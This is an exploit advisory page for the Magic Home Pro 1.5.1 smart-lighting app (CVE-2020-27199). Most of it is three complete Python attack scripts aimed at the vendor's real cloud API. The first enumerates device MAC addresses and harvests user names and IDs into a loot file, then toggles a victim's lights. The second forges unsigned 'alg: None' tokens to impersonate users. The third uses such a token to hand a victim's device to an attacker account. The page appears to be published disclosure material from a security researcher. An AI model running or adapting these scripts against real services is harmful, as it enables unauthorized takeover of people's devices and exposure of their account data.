Magic Home Pro 1.5.1 Authentication Bypass

2020.12.17
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-287


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

# Exploit Title: Magic Home Pro 1.5.1 - Authentication Bypass # Google Dork: NA # Date: 22 October 2020 # Exploit Author: Victor Hanna (Trustwave SpiderLabs) # Author Github Page: https://9lyph.github.io/CVE-2020-27199/ # Vendor Homepage: http://www.zengge.com/appkzd # Software Link: https://play.google.com/store/apps/details?id=com.zengge.wifi&hl=en # Version: 1.5.1 (REQUIRED) # Tested on: Android 10 ## Enumeration ## import requests import json import os from colorama import init from colorama import Fore, Back, Style import re ''' 1. First Stage Authentication 2. Second Stage Enumerate 3. Third Stage Remote Execute ''' global found_macaddresses found_macaddresses = [] global outtahere outtahere = "" q = "q" global token def turnOn(target, token): urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001" array = { "dataCommandItems":[ {"hexData":"71230fa3","macAddress":target} ] } data = json.dumps(array) headersOn = { "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)", "Accept-Language": "en-US", "Accept": "application/json", "Content-Type": "application/json; charset=utf-8", "token":token, "Host": "wifij01us.magichue.net", "Connection": "close", "Accept-Encoding": "gzip, deflate" } print (Fore.WHITE + "[+] Sending Payload ...") response = requests.post(urlOn, data=data, headers=headersOn) if response.status_code == 200: if "true" in response.text: print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On") else: print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}") def turnOff(target, token): urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001" array = { "dataCommandItems":[ {"hexData":"71240fa4","macAddress":target} ] } data = json.dumps(array) headersOff = { "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)", "Accept-Language": "en-US", "Accept": "application/json", "Content-Type": "application/json; charset=utf-8", "token":token, "Host": "wifij01us.magichue.net", "Connection": "close", "Accept-Encoding": "gzip, deflate" } print (Fore.WHITE + "[+] Sending Payload ...") response = requests.post(urlOff, data=data, headers=headersOff) if response.status_code == 200: if "true" in response.text: print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched Off") else: print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}") def lighItUp(target, token): outtahere = "" q = "q" if len(str(target)) < 12: print (Fore.RED + "[!] Invalid target" + Style.RESET_ALL) elif re.match('[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}$', target.lower()): while outtahere.lower() != q.lower(): if outtahere == "0": turnOn(target, token) elif outtahere == "1": turnOff(target, token) outtahere = input(Fore.BLUE + "ON/OFF/QUIT ? (0/1/Q): " + Style.RESET_ALL) def Main(): urlAuth = "https://wifij01us.magichue.net/app/login/ZG001" data = { "userID":"<Valid Registered Email/Username>", "password":"<Valid Registered Password>", "clientID":"" } headersAuth = { "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)", "Accept-Language": "en-US", "Accept": "application/json", "Content-Type": "application/json; charset=utf-8", "Host": "wifij01us.magichue.net", "Connection": "close", "Accept-Encoding": "gzip, deflate" } # First Stage Authenticate os.system('clear') print (Fore.WHITE + "[+] Authenticating ...") response = requests.post(urlAuth, json=data, headers=headersAuth) resJsonAuth = response.json() token = (resJsonAuth['token']) # Second Stage Enumerate print (Fore.WHITE + "[+] Enumerating ...") macbase = "C82E475DCE" macaddress = [] a = ["%02d" % x for x in range(100)] for num in a: macaddress.append(macbase+num) with open('loot.txt', 'w') as f: for mac in macaddress: urlEnum = "https://wifij01us.magichue.net/app/getBindedUserListByMacAddress/ZG001" params = { "macAddress":mac } headersEnum = { "User-Agent": "Magic Home/1.5.1(ANDROID,9,en-US)", "Accept-Language": "en-US", "Content-Type": "application/json; charset=utf-8", "Accept": "application/json", "token": token, "Host": "wifij01us.magichue.net", "Connection": "close", "Accept-Encoding": "gzip, deflate" } response = requests.get(urlEnum, params=params, headers=headersEnum) resJsonEnum = response.json() data = (resJsonEnum['data']) if not data: pass elif data: found_macaddresses.append(mac) print (Fore.GREEN + "[*] MAC Address Identified: " + Style.RESET_ALL + f"{mac}" + Fore.GREEN + f", User: " + Style.RESET_ALL + f"{(data[0]['userName'])}, " + Fore.GREEN + "Unique ID: " + Style.RESET_ALL + f"{data[0]['userUniID']}, " + Fore.GREEN + "Binded ID: " + Style.RESET_ALL + f"{data[0]['bindedUniID']}") f.write(Fore.GREEN + "[*] MAC Address Identified: " + Style.RESET_ALL + f"{mac}" + Fore.GREEN + f", User: " + Style.RESET_ALL + f"{(data[0]['userName'])}, " + Fore.GREEN + "Unique ID: " + Style.RESET_ALL + f"{data[0]['userUniID']}, " + Fore.GREEN + "Binded ID: " + Style.RESET_ALL + f"{data[0]['bindedUniID']}\n") else: print (Fore.RED + "[-] No results found!") print(Style.RESET_ALL) if not found_macaddresses: print (Fore.RED + "[-] No MAC addresses retrieved") elif found_macaddresses: attackboolean = input(Fore.BLUE + "Would you like to Light It Up ? (y/N): " + Style.RESET_ALL) if (attackboolean.upper() == 'Y'): target = input(Fore.RED + "Enter a target device mac address: " + Style.RESET_ALL) lighItUp(target, token) elif (attackboolean.upper() == 'N'): print (Fore.CYAN + "Sometimes, belief isn’t about what we can see. It’s about what we can’t."+ Style.RESET_ALL) else: print (Fore.CYAN + "The human eye is a wonderful device. With a little effort, it can fail to see even the most glaring injustice." + Style.RESET_ALL) if __name__ == "__main__": Main() ## Token Forging ## #!/usr/local/bin/python3 import url64 import requests import json import sys import os from colorama import init from colorama import Fore, Back, Style import re import time from wsgiref.handlers import format_date_time from datetime import datetime from time import mktime now = datetime.now() stamp = mktime(now.timetuple()) ''' HTTP/1.1 200 Server: nginx/1.10.3 Content-Type: application/json;charset=UTF-8 Connection: close "{\"code\":0,\"msg\":\"\",\"data\":{\"webApi\":\"wifij01us.magichue.net/app\",\"webPathOta\":\"http:\/\/wifij01us.magichue.net\/app\/ota\/download\",\"tcpServerController\":\"TCP,8816,ra8816us02.magichue.net\",\"tcpServerBulb\":\"TCP,8815,ra8815us02.magichue.net\",\"tcpServerControllerOld\":\"TCP,8806,mhc8806us.magichue.net\",\"tcpServerBulbOld\":\"TCP,8805,mhb8805us.magichue.net\",\"sslMqttServer\":\"ssl:\/\/192.168.0.112:1883\",\"serverName\":\"Global\",\"serverCode\":\"US\",\"userName\":\"\",\"userEmail\":\"\",\"userUniID\":\"\"},\"token\":\"\"}" ''' def Usage(): print (f"Usage: {sys.argv[0]} <username> <unique id>") def Main(user, uniqid): os.system('clear') print ("[+] Encoding ...") print ("[+] Bypass header created!") print ("HTTP/1.1 200") print ("Server: nginx/1.10.3") print ("Date: "+str(format_date_time(stamp))+"") print ("Content-Type: application/json;charset=UTF-8") print ("Connection: close\r\n\r\n") jwt_header = '{"typ": "JsonWebToken","alg": "None"}' jwt_data = '{"userID": "'+user+'", "uniID": "'+uniqid+'","cdpid": "ZG001","clientID": "","serverCode": "US","expireDate": 1618264850608,"refreshDate": 1613080850608,"loginDate": 1602712850608}' jwt_headerEncoded = url64.encode(jwt_header.strip()) jwt_dataEncoded = url64.encode(jwt_data.strip()) jwtcombined = (jwt_headerEncoded.strip()+"."+jwt_dataEncoded.strip()+".") print ("{\"code\":0,\"msg\":\"\",\"data\":{\"webApi\":\"wifij01us.magichue.net/app\",\"webPathOta\":\"http://wifij01us.magichue.net/app/ota/download\",\"tcpServerController\":\"TCP,8816,ra8816us02.magichue.net\",\"tcpServerBulb\":\"TCP,8815,ra8815us02.magichue.net\",\"tcpServerControllerOld\":\"TCP,8806,mhc8806us.magichue.net\",\"tcpServerBulbOld\":\"TCP,8805,mhb8805us.magichue.net\",\"sslMqttServer\":\"ssl:\/\/192.168.0.112:1883\",\"serverName\":\"Global\",\"serverCode\":\"US\",\"userName\":\""+user+"\",\"userEmail\":\""+user+"\",\"userUniID\":\""+uniqid+"\"},\"token\":\""+jwtcombined+"\"}") if __name__ == "__main__": if len(sys.argv) < 3: Usage() else: Main(sys.argv[1], sys.argv[2]) ## Device Takeover PoC ## #!/usr/local/bin/python3 import url64 import requests import json import sys import os from colorama import init from colorama import Fore, Back, Style import re def Usage(): print (f"Usage: {sys.argv[0]} <attacker email> <target email> <target mac address> <target forged token>") def Main(): attacker_email = sys.argv[1] target_email = sys.argv[2] target_mac = sys.argv[3] forged_token = sys.argv[4] os.system('clear') print (Fore.WHITE + "[+] Sending Payload ...") url = "https://wifij01us.magichue.net/app/shareDevice/ZG001" array = {"friendUserID":attacker_email, "macAddress":target_mac} data = json.dumps(array) headers = { "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)", "Accept-Language": "en-US", "Accept": "application/json", "Content-Type": "application/json; charset=utf-8", "token":forged_token, "Host": "wifij01us.magichue.net", "Connection": "close", "Accept-Encoding": "gzip, deflate" } response = requests.post(url, data=data, headers=headers) if response.status_code == 200: if "true" in response.text: print (Fore.GREEN + "[*] Target is now yours ... " + Style.RESET_ALL) else: print (Fore.RED + "[-] Failed to take over target !" + Style.RESET_ALL) if __name__ == "__main__": if len(sys.argv) < 5: Usage() else: Main()


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